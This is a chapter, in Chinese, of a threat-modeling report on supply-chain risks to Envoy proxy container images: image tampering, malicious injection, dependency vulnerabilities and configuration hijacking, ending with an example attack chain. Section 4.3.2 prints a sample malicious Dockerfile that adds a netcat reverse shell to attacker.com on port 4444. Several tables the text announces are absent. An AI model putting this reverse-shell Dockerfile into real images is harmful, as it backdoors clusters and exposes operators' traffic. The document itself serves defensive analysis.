4. Envoy 镜像供应链风险分析：镜像篡改、恶意注入、依赖漏洞、配置劫持

Envoy 代理镜像作为数据平面的核心载体，其供应链安全直接决定网格内流量的可信基础。攻击者一旦突破镜像供应链的任一环节，即可将恶意载荷部署到生产集群，进而窃取流量、篡改路由或横向移动。本章从四个维度系统梳理 Envoy 镜像供应链的典型风险，为后续的信任边界测试提供威胁建模依据。

4.1 风险全景与攻击面

Envoy 镜像从代码提交到运行时部署，经历构建、打包、签名、存储、拉取、运行六个阶段。每个阶段都可能被注入不可信内容。下表归纳了四个风险类别及其对应的攻击阶段与影响范围：

4.2 镜像篡改风险

镜像篡改是供应链中最直接的攻击方式。攻击者通过篡改镜像层内容或替换镜像标签，使 Envoy 代理加载非预期的二进制文件或配置。

4.2.1 篡改路径分析

• 传输层篡改： 在镜像推送或拉取过程中，攻击者通过中间人攻击替换镜像层数据（Manifest 或 Blob）。
• 仓库侧篡改： 攻击者获得镜像仓库写权限后，直接覆盖已有标签或修改 Manifest 指向恶意层。
• 标签覆盖： 使用 :latest 或可变标签，攻击者推送同名恶意镜像覆盖原有版本。

4.2.2 篡改检测难点

传统哈希校验仅在拉取时验证层完整性，但若 Manifest 本身被篡改，校验将失去意义。Envoy 镜像的 Envoy 二进制文件、动态库、扩展插件均可能成为篡改目标。

4.3 恶意注入风险

恶意注入指攻击者在 Envoy 镜像中植入非预期的可执行代码、脚本或配置，使其在运行时执行恶意行为。注入点覆盖从源码到运行时的全链路。

4.3.1 注入方式分类

• 源码级注入： 攻击者通过提交恶意 PR 或直接修改源码仓库，在 Envoy 扩展或过滤器（Filter）中植入后门。
• 构建级注入： 在 Dockerfile 中插入恶意 RUN 指令，或通过构建参数（Build Args）注入环境变量。
• 运行时注入： 通过挂载恶意卷、Sidecar 注入或 Init 容器，在 Envoy 启动前修改其行为。

4.3.2 典型恶意载荷示例

# 恶意 Dockerfile 示例：在 Envoy 镜像中植入反向 Shell
FROM envoyproxy/envoy:v1.28-latest
RUN apt-get update && apt-get install -y netcat-openbsd
RUN echo 'nc -e /bin/bash attacker.com 4444 &' >> /start.sh
ENTRYPOINT ["/start.sh"]

4.4 依赖漏洞风险

Envoy 镜像基于基础操作系统镜像（如 Ubuntu、Distroless）并引入大量第三方库。这些依赖中的已知漏洞（CVE）可能被攻击者利用，实现远程代码执行或权限提升。

4.4.1 依赖树分析

4.4.2 漏洞生命周期管理

Envoy 官方每月发布安全更新，但用户镜像往往滞后数周甚至数月。攻击者会针对已公开的 CVE 编写 PoC，扫描未打补丁的 Envoy 实例进行利用。

4.5 配置劫持风险

配置劫持是 Envoy 镜像供应链中容易被忽视的风险。攻击者通过篡改 Envoy 的启动配置、动态配置（xDS）或挂载的配置文件，实现流量劫持或策略绕过。

4.5.1 配置劫持场景

• 静态配置篡改： 攻击者修改镜像内的 envoy.yaml，将流量转发到恶意端点。
• xDS 欺骗： 攻击者伪造控制面（如 Istiod）响应，向 Envoy 下发恶意路由规则。
• 挂载配置覆盖： 通过 K8s ConfigMap 或 Secret 挂载，覆盖镜像内默认配置。

4.5.2 配置劫持检测指标

以下指标可用于识别配置劫持行为：

4.6 风险关联与攻击链

实际攻击中，上述四类风险往往组合使用。以下是一个典型的攻击链示例：

1. 依赖漏洞利用： 攻击者利用 Envoy 基础镜像中的 OpenSSL 漏洞（CVE-2023-4807）获得初始访问。
2. 配置劫持： 通过漏洞执行远程代码，修改 Envoy 的 xDS 配置，将流量劫持到攻击者控制的恶意服务。
3. 恶意注入： 在劫持的流量中注入恶意载荷，向 Envoy 实例植入后门插件。
4. 镜像篡改： 攻击者利用获得的仓库凭证，将篡改后的 Envoy 镜像推送到生产仓库，实现持久化。

4.7 风险优先级矩阵

根据攻击难度、影响范围和检测难度，对四类风险进行优先级排序：